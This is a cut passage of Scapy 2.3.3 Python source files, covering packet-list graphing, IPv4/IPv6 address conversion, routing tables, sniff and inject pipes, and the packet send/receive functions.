pkt['ARP'].pdst) raise TypeError() conv = {} for p in self.res: p = self._elt2pkt(p) try: c = getsrcdst(p) except: # No warning here: it's OK that getsrcdst() raises an # exception, since it might be, for example, a # function that expects a specific layer in each # packet. The try/except approach is faster and # considered more Pythonic than adding tests. continue if len(c) == 3: conv.setdefault(c[:2], set()).add(c[2]) else: conv[c] = conv.get(c, 0) + 1 gr = 'digraph "conv" {\n' for (s, d), l in conv.iteritems(): gr += '\t "%s" -> "%s" [label="%s"]\n' % ( s, d, ', '.join(str(x) for x in l) if isinstance(l, set) else l ) gr += "}\n" return do_graph(gr, **kargs) def afterglow(self, src=None, event=None, dst=None, **kargs): """Experimental clone attempt of http://sourceforge.net/projects/afterglow each datum is reduced as src -> event -> dst and the data are graphed. by default we have IP.src -> IP.dport -> IP.dst""" if src is None: src = lambda x: x['IP'].src if event is None: event = lambda x: x['IP'].dport if dst is None: dst = lambda x: x['IP'].dst sl = {} el = {} dl = {} for i in self.res: try: s,e,d = src(i),event(i),dst(i) if s in sl: n,l = sl[s] n += 1 if e not in l: l.append(e) sl[s] = (n,l) else: sl[s] = (1,[e]) if e in el: n,l = el[e] n+=1 if d not in l: l.append(d) el[e] = (n,l) else: el[e] = (1,[d]) dl[d] = dl.get(d,0)+1 except: continue import math def normalize(n): return 2+math.log(n)/4.0 def minmax(x): m, M = reduce(lambda a, b: (min(a[0], b[0]), max(a[1], b[1])), ((a, a) for a in x)) if m == M: m = 0 if M == 0: M = 1 return m, M mins, maxs = minmax(x for x, _ in sl.itervalues()) mine, maxe = minmax(x for x, _ in el.itervalues()) mind, maxd = minmax(dl.itervalues()) gr = 'digraph "afterglow" {\n\tedge [len=2.5];\n' gr += "# src nodes\n" for s in sl: n,l = sl[s]; n = 1+float(n-mins)/(maxs-mins) gr += '"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (`s`,`s`,n,n) gr += "# event nodes\n" for e in el: n,l = el[e]; n = n = 1+float(n-mine)/(maxe-mine) gr += '"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (`e`,`e`,n,n) for d in dl: n = dl[d]; n = n = 1+float(n-mind)/(maxd-mind) gr += '"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (`d`,`d`,n,n) gr += "###\n" for s in sl: n,l = sl[s] for e in l: gr += ' "src.%s" -> "evt.%s";\n' % (`s`,`e`) for e in el: n,l = el[e] for d in l: gr += ' "evt.%s" -> "dst.%s";\n' % (`e`,`d`) gr += "}" return do_graph(gr, **kargs) def _dump_document(self, **kargs): import pyx d = pyx.document.document() l = len(self.res) for i in enumerate(self.res): elt = res c = self._elt2pkt(elt).canvas_dump(**kargs) cbb = c.bbox() c.text(cbb.left(),cbb.top()+1,r"\font\cmssfont=cmss12\cmssfont{Frame %i/%i}" % (i,l),[pyx.text.size.LARGE]) if conf.verb >= 2: os.write(1,".") d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4, margin=1*pyx.unit.t_cm, fittosize=1)) return d def psdump(self, filename = None, **kargs): """Creates a multipage poscript file with a psdump of every packet filename: name of the file to write to. If empty, a temporary file is used and conf.prog.psreader is called""" d = self._dump_document(**kargs) if filename is None: filename = get_temp_file(autoext=".ps") d.writePSfile(filename) subprocess.Popen([conf.prog.psreader, filename+".ps"]) else: d.writePSfile(filename) print def pdfdump(self, filename = None, **kargs): """Creates a PDF file with a psdump of every packet filename: name of the file to write to. If empty, a temporary file is used and conf.prog.pdfreader is called""" d = self._dump_document(**kargs) if filename is None: filename = get_temp_file(autoext=".pdf") d.writePDFfile(filename) subprocess.Popen([conf.prog.pdfreader, filename+".pdf"]) else: d.writePDFfile(filename) print def sr(self,multi=0): """sr([multi=1]) -> (SndRcvList, PacketList) Matches packets in the list and return ( (matched couples), (unmatched packets) )""" remain = self.res[:] sr = [] i = 0 while i < len(remain): s = remain[i] j = i while j < len(remain)-1: j += 1 r = remain[j] if r.answers(s): sr.append((s,r)) if multi: remain[i]._answered=1 remain[j]._answered=2 continue del(remain[j]) del(remain[i]) i -= 1 break i += 1 if multi: remain = filter(lambda x:not hasattr(x,"_answered"), remain) return SndRcvList(sr),PacketList(remain) def sessions(self, session_extractor=None): if session_extractor is None: def session_extractor(p): sess = "Other" if 'Ether' in p: if 'IP' in p: if 'TCP' in p: sess = p.sprintf("TCP %IP.src%:%r,TCP.sport% > %IP.dst%:%r,TCP.dport%") elif 'UDP' in p: sess = p.sprintf("UDP %IP.src%:%r,UDP.sport% > %IP.dst%:%r,UDP.dport%") elif 'ICMP' in p: sess = p.sprintf("ICMP %IP.src% > %IP.dst% type=%r,ICMP.type% code=%r,ICMP.code% id=%ICMP.id%") else: sess = p.sprintf("IP %IP.src% > %IP.dst% proto=%IP.proto%") elif 'ARP' in p: sess = p.sprintf("ARP %ARP.psrc% > %ARP.pdst%") else: sess = p.sprintf("Ethernet type=%04xr,Ether.type%") return sess sessions = defaultdict(self.__class__) for p in self.res: sess = session_extractor(self._elt2pkt(p)) sessions[sess].append(p) return dict(sessions) def replace(self, *args, **kargs): """ lst.replace(,[,]) lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...) if ov is None, all values are replaced ex: lst.replace( IP.src, "192.168.1.1", "10.0.0.1" ) lst.replace( IP.ttl, 64 ) lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), ) """ delete_checksums = kargs.get("delete_checksums",False) x=PacketList(name="Replaced %s" % self.listname) if type(args[0]) is not tuple: args = (args,) for p in self.res: p = self._elt2pkt(p) copied = False for scheme in args: fld = scheme[0] old = scheme[1] # not used if len(scheme) == 2 new = scheme[-1] for o in fld.owners: if o in p: if len(scheme) == 2 or p[o].getfieldval(fld.name) == old: if not copied: p = p.copy() if delete_checksums: p.delete_checksums() copied = True setattr(p[o], fld.name, new) x.append(p) return x class SndRcvList(PacketList): __slots__ = [] def __init__(self, res=None, name="Results", stats=None): PacketList.__init__(self, res, name, stats) def _elt2pkt(self, elt): return elt[1] def _elt2sum(self, elt): return "%s ==> %s" % (elt[0].summary(),elt[1].summary()) scapy-2.3.3/scapy/pton_ntop.py000066400000000000000000000066241300136037300163530ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Convert IPv6 addresses between textual representation and binary. These functions are missing when python is compiled without IPv6 support, on Windows for instance. """ import socket,struct def inet_pton(af, addr): """Convert an IP address from text representation into binary form""" if af == socket.AF_INET: return socket.inet_aton(addr) elif af == socket.AF_INET6: # IPv6: The use of "::" indicates one or more groups of 16 bits of zeros. # We deal with this form of wildcard using a special marker. JOKER = "*" while "::" in addr: addr = addr.replace("::", ":" + JOKER + ":") joker_pos = None # The last part of an IPv6 address can be an IPv4 address ipv4_addr = None if "." in addr: ipv4_addr = addr.split(":")[-1] result = "" parts = addr.split(":") for part in parts: if part == JOKER: # Wildcard is only allowed once if joker_pos is None: joker_pos = len(result) else: raise Exception("Illegal syntax for IP address") elif part == ipv4_addr: # FIXME: Make sure IPv4 can only be last part # FIXME: inet_aton allows IPv4 addresses with less than 4 octets result += socket.inet_aton(ipv4_addr) else: # Each part must be 16bit. Add missing zeroes before decoding. try: result += part.rjust(4, "0").decode("hex") except TypeError: raise Exception("Illegal syntax for IP address") # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes) if JOKER in addr: result = (result[:joker_pos] + "\x00" * (16 - len(result)) + result[joker_pos:]) if len(result) != 16: raise Exception("Illegal syntax for IP address") return result else: raise Exception("Address family not supported") def inet_ntop(af, addr): """Convert an IP address from binary form into text represenation""" if af == socket.AF_INET: return socket.inet_ntoa(addr) elif af == socket.AF_INET6: # IPv6 addresses have 128bits (16 bytes) if len(addr) != 16: raise Exception("Illegal syntax for IP address") parts = [] for left in [0, 2, 4, 6, 8, 10, 12, 14]: try: value = struct.unpack("!H", addr[left:left+2])[0] hexstr = hex(value)[2:] except TypeError: raise Exception("Illegal syntax for IP address") parts.append(hexstr.lstrip("0").lower()) result = ":".join(parts) while ":::" in result: result = result.replace(":::", "::") # Leaving out leading and trailing zeros is only allowed with :: if result.endswith(":") and not result.endswith("::"): result = result + "0" if result.startswith(":") and not result.startswith("::"): result = "0" + result return result else: raise Exception("Address family not supported yet") scapy-2.3.3/scapy/route.py000066400000000000000000000124131300136037300154620ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Routing and handling of network interfaces. """ import socket from scapy.arch.consts import LOOPBACK_NAME from scapy.utils import atol,ltoa,itom from scapy.config import conf from scapy.error import Scapy_Exception,warning ############################## ## Routing/Interfaces stuff ## ############################## class Route: def __init__(self): self.resync() self.cache = {} def invalidate_cache(self): self.cache = {} def resync(self): from scapy.arch import read_routes self.invalidate_cache() self.routes = read_routes() def __repr__(self): rt = "Network Netmask Gateway Iface Output IP\n" for net,msk,gw,iface,addr in self.routes: rt += "%-15s %-15s %-15s %-15s %-15s\n" % (ltoa(net), ltoa(msk), gw, iface, addr) return rt def make_route(self, host=None, net=None, gw=None, dev=None): from scapy.arch import get_if_addr if host is not None: thenet,msk = host,32 elif net is not None: thenet,msk = net.split("/") msk = int(msk) else: raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") if gw is None: gw="0.0.0.0" if dev is None: if gw: nhop = gw else: nhop = thenet dev,ifaddr,x = self.route(nhop) else: ifaddr = get_if_addr(dev) return (atol(thenet), itom(msk), gw, dev, ifaddr) def add(self, *args, **kargs): """Ex: add(net="192.168.1.0/24",gw="1.2.3.4") """ self.invalidate_cache() self.routes.append(self.make_route(*args,**kargs)) def delt(self, *args, **kargs): """delt(host|net, gw|dev)""" self.invalidate_cache() route = self.make_route(*args,**kargs) try: i=self.routes.index(route) del(self.routes[i]) except ValueError: warning("no matching route found") def ifchange(self, iff, addr): self.invalidate_cache() the_addr,the_msk = (addr.split("/")+["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk for i, route in enumerate(self.routes): net, msk, gw, iface, addr = route if iface != iff: continue if gw == '0.0.0.0': self.routes[i] = (the_net,the_msk,gw,iface,the_addr) else: self.routes[i] = (net,msk,gw,iface,the_addr) conf.netcache.flush() def ifdel(self, iff): self.invalidate_cache() new_routes=[] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.routes=new_routes def ifadd(self, iff, addr): self.invalidate_cache() the_addr,the_msk = (addr.split("/")+["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk self.routes.append((the_net,the_msk,'0.0.0.0',iff,the_addr)) def route(self,dest,verbose=None): if type(dest) is list and dest: dest = dest[0] if dest in self.cache: return self.cache[dest] if verbose is None: verbose=conf.verb # Transform "192.168.*.1-5" to one IP of the set dst = dest.split("/")[0] dst = dst.replace("*","0") while 1: l = dst.find("-") if l < 0: break m = (dst[l:]+".").find(".") dst = dst[:l]+dst[l+m:] dst = atol(dst) pathes=[] for d,m,gw,i,a in self.routes: aa = atol(a) if aa == dst: pathes.append((0xffffffffL,(LOOPBACK_NAME,a,"0.0.0.0"))) if (dst & m) == (d & m): pathes.append((m,(i,a,gw))) if not pathes: if verbose: warning("No route found (no default route?)") return LOOPBACK_NAME,"0.0.0.0","0.0.0.0" #XXX linux specific! # Choose the more specific route (greatest netmask). # XXX: we don't care about metrics pathes.sort() ret = pathes[-1][1] self.cache[dest] = ret return ret def get_if_bcast(self, iff): for net, msk, gw, iface, addr in self.routes: if (iff == iface and net != 0L): bcast = atol(addr)|(~msk&0xffffffffL); # FIXME: check error in atol() return ltoa(bcast); warning("No broadcast address found for iface %s\n" % iff); conf.route=Route() #XXX use "with" _betteriface = conf.route.route("0.0.0.0", verbose=0)[0] if _betteriface != LOOPBACK_NAME: conf.iface = _betteriface del(_betteriface) scapy-2.3.3/scapy/route6.py000066400000000000000000000236241300136037300155560ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ Routing and network interface handling for IPv6. """ ############################################################################# ############################################################################# ### Routing/Interfaces stuff ### ############################################################################# ############################################################################# import socket from scapy.config import conf from scapy.utils6 import * from scapy.arch import * from scapy.pton_ntop import * from scapy.error import warning, log_loading class Route6: def __init__(self): self.invalidate_cache() self.resync() def invalidate_cache(self): self.cache = {} def flush(self): self.invalidate_cache() self.routes = [] def resync(self): # TODO : At the moment, resync will drop existing Teredo routes # if any. Change that ... self.invalidate_cache() self.routes = read_routes6() if self.routes == []: log_loading.info("No IPv6 support in kernel") def __repr__(self): rtlst = [('Destination', 'Next Hop', "iface", "src candidates")] for net,msk,gw,iface,cset in self.routes: rtlst.append(('%s/%i'% (net,msk), gw, iface, ", ".join(cset))) colwidth = map(lambda x: max(map(lambda y: len(y), x)), apply(zip, rtlst)) fmt = " ".join(map(lambda x: "%%-%ds"%x, colwidth)) rt = "\n".join(map(lambda x: fmt % x, rtlst)) return rt # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net' # parameters. We only have a 'dst' parameter that accepts 'prefix' and # 'prefix/prefixlen' values. # WARNING: Providing a specific device will at the moment not work correctly. def make_route(self, dst, gw=None, dev=None): """Internal function : create a route for 'dst' via 'gw'. """ prefix, plen = (dst.split("/")+["128"])[:2] plen = int(plen) if gw is None: gw = "::" if dev is None: dev, ifaddr, x = self.route(gw) else: # TODO: do better than that # replace that unique address by the list of all addresses lifaddr = in6_getifaddr() devaddrs = filter(lambda x: x[2] == dev, lifaddr) ifaddr = construct_source_candidate_set(prefix, plen, devaddrs, LOOPBACK_NAME) return (prefix, plen, gw, dev, ifaddr) def add(self, *args, **kargs): """Ex: add(dst="2001:db8:cafe:f000::/56") add(dst="2001:db8:cafe:f000::/56", gw="2001:db8:cafe::1") add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") """ self.invalidate_cache() self.routes.append(self.make_route(*args, **kargs)) def delt(self, dst, gw=None): """ Ex: delt(dst="::/0") delt(dst="2001:db8:cafe:f000::/56") delt(dst="2001:db8:cafe:f000::/56", gw="2001:db8:deca::1") """ tmp = dst+"/128" dst, plen = tmp.split('/')[:2] dst = in6_ptop(dst) plen = int(plen) l = filter(lambda x: in6_ptop(x[0]) == dst and x[1] == plen, self.routes) if gw: gw = in6_ptop(gw) l = filter(lambda x: in6_ptop(x[0]) == gw, self.routes) if len(l) == 0: warning("No matching route found") elif len(l) > 1: warning("Found more than one match. Aborting.") else: i=self.routes.index(l[0]) self.invalidate_cache() del(self.routes[i]) def ifchange(self, iff, addr): the_addr, the_plen = (addr.split("/")+["128"])[:2] the_plen = int(the_plen) naddr = inet_pton(socket.AF_INET6, the_addr) nmask = in6_cidr2mask(the_plen) the_net = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr)) for i, route in enumerate(self.routes): net,plen,gw,iface,addr = route if iface != iff: continue if gw == '::': self.routes[i] = (the_net,the_plen,gw,iface,the_addr) else: self.routes[i] = (net,the_plen,gw,iface,the_addr) self.invalidate_cache() ip6_neigh_cache.flush() def ifdel(self, iff): """ removes all route entries that uses 'iff' interface. """ new_routes=[] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.invalidate_cache() self.routes = new_routes def ifadd(self, iff, addr): """ Add an interface 'iff' with provided address into routing table. Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into Scapy6 internal routing table: Destination Next Hop iface Def src @ 2001:bd8:cafe:1::/64 :: eth0 2001:bd8:cafe:1::1 prefix length value can be omitted. In that case, a value of 128 will be used. """ addr, plen = (addr.split("/")+["128"])[:2] addr = in6_ptop(addr) plen = int(plen) naddr = inet_pton(socket.AF_INET6, addr) nmask = in6_cidr2mask(plen) prefix = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr)) self.invalidate_cache() self.routes.append((prefix,plen,'::',iff,[addr])) def route(self, dst, dev=None): """ Provide best route to IPv6 destination address, based on Scapy6 internal routing table content. When a set of address is passed (e.g. 2001:db8:cafe:*::1-5) an address of the set is used. Be aware of that behavior when using wildcards in upper parts of addresses ! If 'dst' parameter is a FQDN, name resolution is performed and result is used. if optional 'dev' parameter is provided a specific interface, filtering is performed to limit search to route associated to that interface. """ # Transform "2001:db8:cafe:*::1-5:0/120" to one IPv6 address of the set dst = dst.split("/")[0] savedst = dst # In case following inet_pton() fails dst = dst.replace("*","0") l = dst.find("-") while l >= 0: m = (dst[l:]+":").find(":") dst = dst[:l]+dst[l+m:] l = dst.find("-") try: inet_pton(socket.AF_INET6, dst) except socket.error: dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0] # TODO : Check if name resolution went well # Deal with dev-specific request for cache search k = dst if dev is not None: k = dst + "%%" + dev if k in self.cache: return self.cache[k] pathes = [] # TODO : review all kinds of addresses (scope and *cast) to see # if we are able to cope with everything possible. I'm convinced # it's not the case. # -- arnaud for p, plen, gw, iface, cset in self.routes: if dev is not None and iface != dev: continue if in6_isincluded(dst, p, plen): pathes.append((plen, (iface, cset, gw))) elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])): pathes.append((plen, (iface, cset, gw))) if not pathes: warning("No route found for IPv6 destination %s (no default route?)" % dst) return (LOOPBACK_NAME, "::", "::") # XXX Linux specific # Sort with longest prefix first pathes.sort(reverse=True) best_plen = pathes[0][0] pathes = filter(lambda x: x[0] == best_plen, pathes) res = [] for p in pathes: # Here we select best source address for every route tmp = p[1] srcaddr = get_source_addr_from_candidate_set(dst, p[1][1]) if srcaddr is not None: res.append((p[0], (tmp[0], srcaddr, tmp[2]))) if res == []: warning("Found a route for IPv6 destination '%s', but no possible source address." % dst) return (LOOPBACK_NAME, "::", "::") # XXX Linux specific # Symptom : 2 routes with same weight (our weight is plen) # Solution : # - dst is unicast global. Check if it is 6to4 and we have a source # 6to4 address in those available # - dst is link local (unicast or multicast) and multiple output # interfaces are available. Take main one (conf.iface6) # - if none of the previous or ambiguity persists, be lazy and keep # first one # XXX TODO : in a _near_ future, include metric in the game if len(res) > 1: tmp = [] if in6_isgladdr(dst) and in6_isaddr6to4(dst): # TODO : see if taking the longest match between dst and # every source addresses would provide better results tmp = filter(lambda x: in6_isaddr6to4(x[1][1]), res) elif in6_ismaddr(dst) or in6_islladdr(dst): # TODO : I'm sure we are not covering all addresses. Check that tmp = filter(lambda x: x[1][0] == conf.iface6, res) if tmp: res = tmp # Fill the cache (including dev-specific request) k = dst if dev is not None: k = dst + "%%" + dev self.cache[k] = res[0][1] return res[0][1] conf.route6 = Route6() _res = conf.route6.route("::/0") if _res: iff, gw, addr = _res conf.iface6 = iff del(_res) scapy-2.3.3/scapy/scapypipes.py000066400000000000000000000065441300136037300165140ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license from scapy.pipetool import Source,Drain,Sink from scapy.config import conf from scapy.utils import PcapReader, PcapWriter class SniffSource(Source): """Read packets from an interface and send them to low exit. +-----------+ >>-| |->> | | >-| [iface]--|-> +-----------+ """ def __init__(self, iface=None, filter=None, name=None): Source.__init__(self, name=name) self.iface = iface self.filter = filter def start(self): self.s = conf.L2listen(iface=self.iface, filter=self.filter) def stop(self): self.s.close() def fileno(self): return self.s.fileno() def deliver(self): self._send(self.s.recv()) class RdpcapSource(Source): """Read packets from a PCAP file send them to low exit. +----------+ >>-| |->> | | >-| [pcap]--|-> +----------+ """ def __init__(self, fname, name=None): Source.__init__(self, name=name) self.fname = fname self.f = PcapReader(self.fname) def start(self): print "start" self.f = PcapReader(self.fname) self.is_exhausted = False def stop(self): print "stop" self.f.close() def fileno(self): return self.f.fileno() def deliver(self): p = self.f.recv() print "deliver %r" % p if p is None: self.is_exhausted = True else: self._send(p) class InjectSink(Sink): """Packets received on low input are injected to an interface +-----------+ >>-| |->> | | >-|--[iface] |-> +-----------+ """ def __init__(self, iface=None, name=None): Sink.__init__(self, name=name) if iface == None: iface = conf.iface self.iface = iface def start(self): self.s = conf.L2socket(iface=self.iface) def stop(self): self.s.close() def push(self, msg): self.s.send(msg) class Inject3Sink(InjectSink): def start(self): self.s = conf.L3socket(iface=self.iface) class WrpcapSink(Sink): """Packets received on low input are written to PCA file +----------+ >>-| |->> | | >-|--[pcap] |-> +----------+ """ def __init__(self, fname, name=None): Sink.__init__(self, name=name) self.f = PcapWriter(fname) def stop(self): self.f.flush() def push(self, msg): self.f.write(msg) class UDPDrain(Drain): """UDP payloads received on high entry are sent over UDP +-------------+ >>-|--[payload]--|->> | X | >-|----[UDP]----|-> +-------------+ """ def __init__(self, ip="127.0.0.1", port=1234): Drain.__init__(self) self.ip = ip self.port = port def push(self, msg): from scapy.layers.inet import IP, UDP if IP in msg and msg[IP].proto == 17 and UDP in msg: payload = msg[UDP].payload self._high_send(str(payload)) def high_push(self, msg): from scapy.layers.inet import IP, UDP p = IP(dst=self.ip)/UDP(sport=1234,dport=self.port)/msg self._send(p) scapy-2.3.3/scapy/sendrecv.py000066400000000000000000000621021300136037300161350ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Functions to send and receive packets. """ import errno import cPickle,os,sys,time,subprocess import itertools from select import select from scapy.arch.consts import DARWIN, FREEBSD from scapy.data import * from scapy.config import conf from scapy.packet import Gen from scapy.utils import warning,get_temp_file,PcapReader,wrpcap from scapy import plist from scapy.error import log_runtime,log_interactive from scapy.base_classes import SetGen from scapy.supersocket import StreamSocket if conf.route is None: # unused import, only to initialize conf.route import scapy.route ################# ## Debug class ## ################# class debug: recv=[] sent=[] match=[] #################### ## Send / Receive ## #################### def sndrcv(pks, pkt, timeout = None, inter = 0, verbose=None, chainCC=0, retry=0, multi=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) if verbose is None: verbose = conf.verb debug.recv = plist.PacketList([],"Unanswered") debug.sent = plist.PacketList([],"Sent") debug.match = plist.SndRcvList([]) nbrecv=0 ans = [] # do it here to fix random fields, so that parent and child have the same all_stimuli = tobesent = [p for p in pkt] notans = len(tobesent) hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] if retry < 0: retry = -retry autostop=retry else: autostop=0 while retry >= 0: found=0 if timeout < 0: timeout = None rdpipe,wrpipe = os.pipe() rdpipe=os.fdopen(rdpipe) wrpipe=os.fdopen(wrpipe,"w") pid=1 try: pid = os.fork() if pid == 0: try: sys.stdin.close() rdpipe.close() try: i = 0 if verbose: print "Begin emission:" for p in tobesent: pks.send(p) i += 1 time.sleep(inter) if verbose: print "Finished to send %i packets." % i except SystemExit: pass except KeyboardInterrupt: pass except: log_runtime.exception("--- Error in child %i" % os.getpid()) log_runtime.info("--- Error in child %i" % os.getpid()) finally: try: os.setpgrp() # Chance process group to avoid ctrl-C sent_times = [p.sent_time for p in all_stimuli if p.sent_time] cPickle.dump( (conf.netcache,sent_times), wrpipe ) wrpipe.close() except: pass elif pid < 0: log_runtime.error("fork error") else: wrpipe.close() stoptime = 0 remaintime = None inmask = [rdpipe,pks] try: try: while 1: if stoptime: remaintime = stoptime-time.time() if remaintime <= 0: break r = None if not isinstance(pks, StreamSocket) and (FREEBSD or DARWIN): inp, out, err = select(inmask,[],[], 0.05) if len(inp) == 0 or pks in inp: r = pks.nonblock_recv() else: inp = [] try: inp, out, err = select(inmask,[],[], remaintime) except IOError, exc: if exc.errno != errno.EINTR: raise if len(inp) == 0: break if pks in inp: r = pks.recv(MTU) if rdpipe in inp: if timeout: stoptime = time.time()+timeout del(inmask[inmask.index(rdpipe)]) if r is None: continue ok = 0 h = r.hashret() if h in hsent: hlst = hsent[h] for i, sentpkt in enumerate(hlst): if r.answers(sentpkt): ans.append((sentpkt, r)) if verbose > 1: os.write(1, "*") ok = 1 if not multi: del hlst[i] notans -= 1 else: if not hasattr(sentpkt, '_answered'): notans -= 1 sentpkt._answered = 1 break if notans == 0 and not multi: break if not ok: if verbose > 1: os.write(1, ".") nbrecv += 1 if conf.debug_match: debug.recv.append(r) except KeyboardInterrupt: if chainCC: raise finally: try: nc,sent_times = cPickle.load(rdpipe) except EOFError: warning("Child died unexpectedly. Packets may have not been sent %i"%os.getpid()) else: conf.netcache.update(nc) for p,t in zip(all_stimuli, sent_times): p.sent_time = t os.waitpid(pid,0) finally: if pid == 0: os._exit(0) remain = list(itertools.chain(*hsent.itervalues())) if multi: remain = [p for p in remain if not hasattr(p, '_answered')] if autostop and len(remain) > 0 and len(remain) != len(tobesent): retry = autostop tobesent = remain if len(tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent=plist.PacketList(remain[:],"Sent") debug.match=plist.SndRcvList(ans[:]) #clean the ans list to delete the field _answered if (multi): for s,r in ans: if hasattr(s, '_answered'): del(s._answered) if verbose: print "\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans) return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered") def __gen_send(s, x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs): if type(x) is str: x = conf.raw_layer(load=x) if not isinstance(x, Gen): x = SetGen(x) if verbose is None: verbose = conf.verb n = 0 if count is not None: loop = -count elif not loop: loop = -1 if return_packets: sent_packets = plist.PacketList() try: while loop: dt0 = None for p in x: if realtime: ct = time.time() if dt0: st = dt0+p.time-ct if st > 0: time.sleep(st) else: dt0 = ct-p.time s.send(p) if return_packets: sent_packets.append(p) n += 1 if verbose: os.write(1,".") time.sleep(inter) if loop < 0: loop += 1 except KeyboardInterrupt: pass s.close() if verbose: print "\nSent %i packets." % n if return_packets: return sent_packets @conf.commands.register def send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs): """Send packets at layer 3 send(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None""" return __gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime, return_packets=return_packets) @conf.commands.register def sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs): """Send packets at layer 2 sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None""" if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] return __gen_send(conf.L2socket(iface=iface, *args, **kargs), x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime, return_packets=return_packets) @conf.commands.register def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None): """Send packets at layer 2 using tcpreplay for performance pps: packets per second mpbs: MBits per second realtime: use packet's timestamp, bending time with realtime value loop: number of times to process the packet list file_cache: cache packets in RAM instead of reading from disk at each iteration iface: output interface """ if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % iface ] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%f" % realtime) else: argv.append("--topspeed") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--enable-file-cache") f = get_temp_file() argv.append(f) wrpcap(f, x) try: subprocess.check_call(argv) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception,e: log_interactive.error("while trying to exec [%s]: %s" % (argv[0],e)) finally: os.unlink(f) @conf.commands.register def sr(x,filter=None, iface=None, nofilter=0, *args,**kargs): """Send and receive packets at layer 3 nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: listen answers only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 s = conf.L3socket(filter=filter, iface=iface, nofilter=nofilter) a,b=sndrcv(s,x,*args,**kargs) s.close() return a,b @conf.commands.register def sr1(x,filter=None,iface=None, nofilter=0, *args,**kargs): """Send packets at layer 3 and return only the first answer nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: listen answers only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 s=conf.L3socket(filter=filter, nofilter=nofilter, iface=iface) a,b=sndrcv(s,x,*args,**kargs) s.close() if len(a) > 0: return a[0][1] else: return None @conf.commands.register def srp(x,iface=None, iface_hint=None, filter=None, nofilter=0, type=ETH_P_ALL, *args,**kargs): """Send and receive packets at layer 2 nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: work only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(iface=iface, filter=filter, nofilter=nofilter, type=type) a,b=sndrcv(s ,x,*args,**kargs) s.close() return a,b @conf.commands.register def srp1(*args,**kargs): """Send and receive packets at layer 2 and return only the first answer nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent 